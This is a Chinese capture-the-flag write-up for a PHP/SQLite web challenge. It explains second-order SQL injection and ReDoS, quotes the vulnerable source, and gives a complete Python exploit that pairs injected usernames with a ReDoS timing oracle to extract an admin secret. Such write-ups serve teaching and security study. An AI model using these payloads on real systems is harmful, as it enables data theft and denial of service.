这个题原本是个安卓逆向+web后端的题,但是web部分很值得学习。
安卓逆向部分参照官方wp 。
题目复现环境: https://github.com/rama291041610/Jeopardy-Dockerfiles/tree/master/web/2019-ogeek-AndroidPHP
这个题目主要考察了二次注入以及ReDos攻击,所以先讲讲这两类漏洞。
考察点
二次注入
相比于一次注入,二次注入更难以被挖掘。顾名思义,二次注入就是两次利用SQL注入的payload从而破坏最终的SQL语句结构实现SQL注入的目的。二次注入是由于在数据插入数据库时,数据中的特殊字符被转义,如php中的addslashes
函数(在某些特殊字符前添加\
实现转义),插入数据库后,数据被还原。当数据被取出后,对于取出的数据没有再次进行转义过滤,导致数据再次被新的SQL语句引用的时候,就可破坏其结构,从而触发SQL注入。
以这个题为例,首页提示源码泄漏,目录为/html.zip
。
审计源码,注册处存在过滤。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 function register ( ) { if ($_POST ['username' ] && $_POST ['password' ] ) { $username = addslashes ($_POST ['username' ]); $password = md5 ($_POST ['password' ]); if (strlen ($username ) < 3 ) die ('Invalid user name' ); if (!$this ->is_exists ($username )) { $db = new Data_db (); $sql = "select max(id)+1 from users" ; @$ret = $db ->querySingle ($sql ); if (!$ret ) return false ; $nid = $ret ; $sql = "insert into users(id,user,pass) values($nid ,'" .addslashes_to_sqlite ($username )."','$password ')" ; @$ret = $db ->exec ($sql ); if (!$ret ) return false ; $sql = "insert into file(userid,email,commentsize) values ($nid ,'test@test.com','200')" ; @$ret = $db ->exec ($sql ); $db ->close (); if ($ret ) return true ; else return false ; } else { die ("The username is not unique" ); } } else { return false ; } }
首先,username
被addslashes
函数过滤,查询php文档,关于该函数解释如下:
addslashes ( string $str ) : string
返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。这些字符是单引号(')、双引号(")、反斜线(\)与 NUL(NULL 字符)。
也就是说,我们在用户名中插入的单引号会被转义为\'
。
在sql插入语句中,username
被addslashes_to_sqlite
函数二次转义过滤,这个函数定义在config.php
中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 function addslashes_to_sqlite ($string ) { for ($i = 0 ; $i <strlen ($string ); $i ++) { if ($string [$i ] == '\\' && ($i +1 )< strlen ($string ) && $string [$i +1 ] != '\\' ) { $string [$i ] = $string [$i +1 ]; } elseif ($string [$i ] == '\\' ) { $i = $i + 1 ; } else { continue ; } } return $string ; }
这个过滤函数将所有非\\
的\*
形式转换为**
形式,也就是针对于sqlite中单引号的转义,单引号转义为''
。结合两次过滤,刚好将单引号转义,无法进行注入。
登陆处存在同样过滤,无法注入。
继续审计,comment
方法中,将数据库中的username
取出,拼接为email
插入数据库。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 function comment ( ) { if (!$this ->check_login ()) return false ; if ($_POST ['comment' ] ) { $comment = $_POST ['comment' ]; $sql = "select user from users where id = '" .$this ->userid."'" ; $db = new Data_db (); @$ret = $db ->querySingle ($sql ) or 0 ; $db ->close (); $username = $ret ; $email = $username ."@ctf.com" ; $sql = "UPDATE file SET email = '" .addslashes_to_sqlite ($email )."' where id = " .$this ->userid; $db = new Data_db (); @$ret = $db ->exec ($sql ); $br_padding = (int )($_POST ['padding' ]); $comment_size = strlen ($comment ); $sql = "select commentsize from file where userid = " .$this ->userid."" ; $db = new Data_db (); @$ret = $db ->querySingle ($sql ) or 0 ; $db ->close ();
此时,由于''
存入数据库后,被还原为单引号,取出后只经过了addslashes_to_sqlite
转义过滤,并不能对单引号实现过滤,故可在UPDATE
语句处进行二次注入,注入点为username
。
ReDos攻击
ReDos攻击是由存在缺陷的正则表达式引发的。攻击者可以构造特殊的字符串,来消耗服务器资源从而达到Dos攻击的目的。
正则表达式的引擎是有穷状态自动机
,而有穷状态自动机又分为两类,一类称为DFA(确定有穷状态自动机)
,另一类称为NFA(非确定有穷状态自动机)
。
DFA: 从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入 。由于字符串的每一个字符只需要扫描一遍,速度较快,但是支持的特性较少。
NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态 。NFA由于要翻来覆去的对字符串进行匹配,速度较慢,但是支持的特性较多,如惰性匹配,回溯,反向引用。NFA默认使用贪婪匹配,所以有可能导致不停回溯,从而导致性能极差的情况发生。
由于NFA支持更多的功能,现在大多正则表达式的匹配引擎采用NFA,PHP的正则表达式匹配引擎采用的是传统的NFA,也就是说可以进行ReDos攻击。
易导致ReDos攻击的正则表达式一般具有如下特征:
重复分组构造
重复组内出现:1. 重复 2.交替重叠
以本题中出现的正则表达式为例:
题目中一共出现了两个正则表达式,分别为:(<.*>)+
, (<(\/)?br>)+
。
先分析(<.*>)+
。
分组内贪婪匹配任意字符,也就可以构造分组内无限长但是分组不匹配的字符串,从而导致在搜索过程中,不停的回溯,匹配次数指数级增长。匹配过程如下:
只需要构造足够长的<
即可触发ReDos攻击。
再来看看(<(\/)?br>)+
。
分组内不存在重复,无法进行ReDos攻击。
Solution
回到这个题,由于题目存在源码泄漏,主要就是考察代码审计能力了。
从admin.php
可以得知,想要获取flag,需要先得到admin
表中code
字段的值,然后在admin.php
提交code即可获得flag。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php require_once ('config.php' );if (isset ($_POST ['flag' ])&& isset ($_POST ['code' ])) { if (!isset ($_SESSION ['admin_code' ])) { header ('Location: admin.php' ); exit ; } if (substr (md5 ($_POST ['code' ]),0 , 6 )!== $_SESSION ['admin_code' ]) { unset ($_SESSION ['admin_code' ]); header ('Location: admin.php' ); exit ; } $sql = "select code from admin" ; $db = new Data_db (); $ret = $db ->querySingle ($sql ); if ($ret ) { if ($ret === $_POST ['flag' ]) { session_unset (); $sql = "update admin set code='" .rand_s (5 )."';" ; $ret = $db ->exec ($sql ); die ($flag ); } else { unset ($_SESSION ['admin_code' ]); header ('Location: admin.php' ); exit ; } } else { unset ($_SESSION ['admin_code' ]); header ('Location: admin.php' ); exit ; } }
这时就可以利用上面发现的二次注入漏洞,但是通过审计,无法将数据直接回显出来,只能考虑盲注。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 if (( $comment_size + $br_padding ) > $max_comment_size ) { $comment = preg_replace ('/(<.*>)+/' ,'' ,$comment ); if (strlen ($comment ) > $max_comment_size ) { return true ; } else { $email = "admin@ctf.cn" ; return true ; } }else { $comment = preg_replace ('/(<(\/)?br>)+/' ,'' ,$comment ); $email = "admin@ctf.cn" ; return true ; }
所有状态均返回true,并且在/views/profile.v.php
中未对comment
的返回值进行处理,无法通过返回结果进行bool盲注。同时,在注册时,is_exists
函数对username
进行了过滤,过滤了RANDOMBLOB
以及;
。由于sqlite没有sleep函数,可用函数也十分有限,时间盲注基本只能通过RANDOMBLOB
生成超长随机串实现,被过滤后也很难进行时间盲注。同时,过滤分号也没办法进行堆叠注入,也就没办法篡改code。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 private function is_exists ($username ) { $sql = "select user from users where user = '" .addslashes_to_sqlite ($username )."'" ; $db = new Data_db (); @$ret = $db ->querySingle ($sql ); $db ->close (); if ($ret ) return true ; else if (preg_match ("/(RANDOMBLOB)|;/is" ,$username )) return true ; return false ; }
再次回到上面comment
方法中的判断逻辑,其中,$comment_size
是我们输入comment
的长度,$br_padding
是我们输入的padding
的值,$max_comment_size
是从file表中读取的对应用户commentsize
字段的值。
当$comment_size + $br_padding > $max_comment_size
时,可以利用正则进行ReDos攻击,从而导致延时,反之则不会发生延时。
回到上面的注入部分,我们可以进行sql注入的语句是
1 $sql = "UPDATE file SET email = '" .addslashes_to_sqlite ($email )."' where id = " .$this ->userid;
所以,思路已经很明朗了,SQL注入通过条件判断修改file表中commentsize
字段的值,然后通过ReDos攻击延时判断输入的查询条件是否成立。
sqlite没有if,但是可以使用case when (bool) then 0 else 200 end
,同时sqlite还支持直接比较字符的ascii码,故payload为:
1 ', commentsize = (case when (substr((select code from admin),%d,1 ) < char(%d)) then 0 else 200 end )
我们只需要输入足够大的comment以及合适的padding满足payload即可。
PS:官方wp给出的思路是将code字段的值分批次更新到commentsize,然后修改padding的值,通过延迟判断是否进入第一个分支,从而通过计算padding与comment长度的和得到commentsize的值,进而直接获取到code的值。sqlite没有ascii函数,查了半天手册,发现还有一个unicode
函数可用,可以将字符转为ascii码。
拿到code以后,前往admin.php
兑换即可,这里有一个md5验证码。
遍历0-1e9的MD5,约有46%的可能获得可行解,若没有刷新验证码重新遍历即可。
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 import requestsimport randomimport stringimport hashlibimport timeimport re url = "http://192.168.112.132:8081" def rand_str (length=5 ): return '' .join(random.sample(string.ascii_letters + string.digits, length))def md5 (text ): return hashlib.md5(text.encode('utf-8' )).hexdigest()def solve_md5 (code ): for i in range (1000000000 ): hash_code = md5(str (i)) if hash_code[:6 ] == code: return "%d" % i return False class User (object ): def __init__ (self, username, password="123456" ): self.username = username self.password = password self.s = requests.Session() self.register() self.login() def register (self ): payload = {"username" : self.username, "password" : self.password} r = self.s.post(url + "/index.php?action=register" , data=payload) def login (self ): payload = {"username" : self.username, "password" : self.password} r = self.s.post(url + "/index.php?action=index" , data=payload)def get_flag (code ): s = requests.Session() r = s.get(url + "/admin.php" ) hash_code = re.search(" === (\\w{6})" , r.text).group(1 ) hash_code = solve_md5(hash_code) if hash_code: r = s.post(url + "/admin.php" , data={"code" : hash_code, "flag" : code}) print (r.text)def send (payload ): user = User(payload) payload = {"padding" : -199900 , "comment" : "<" * 200000 , "blog" : "test" } try : r = user.s.post(url + "/index.php?action=profile" , data=payload, timeout=2.5 ) except : return True def inject (payload ): global end, name char = 1 name = "" while char: end = False search(0 , 129 , char, payload) char += 1 if end: print (name) return namedef search (left, right, char, sql ): global end, name mid = (left + right) // 2 if right != left + 1 : payload = sql % (char, mid) rep = send(payload) if rep: search(left, mid, char, sql) else : search(mid, right, char, sql) elif right != 1 : print (char, chr (mid)) name += chr (mid) else : end = True return def office (): code = "" for i in range (5 ): payload = rand_str() + "', commentsize = unicode(substr((select code from admin),{},1)) -- " .format (i + 1 ) user = User(payload) for j in range (256 ): payload = {"padding" : -200000 + j, "comment" : "<" * 200000 , "blog" : "test" } try : r = user.s.post(url + "/index.php?action=profile" , data=payload, timeout=2.5 ) except : code += chr (j - 1 ) print (code) break return codeif __name__ == '__main__' : code = inject( rand_str() + "', commentsize = (case when (substr((select code from admin),%d,1) < char(%d)) then 0 else 200 end) -- " ) get_flag(code)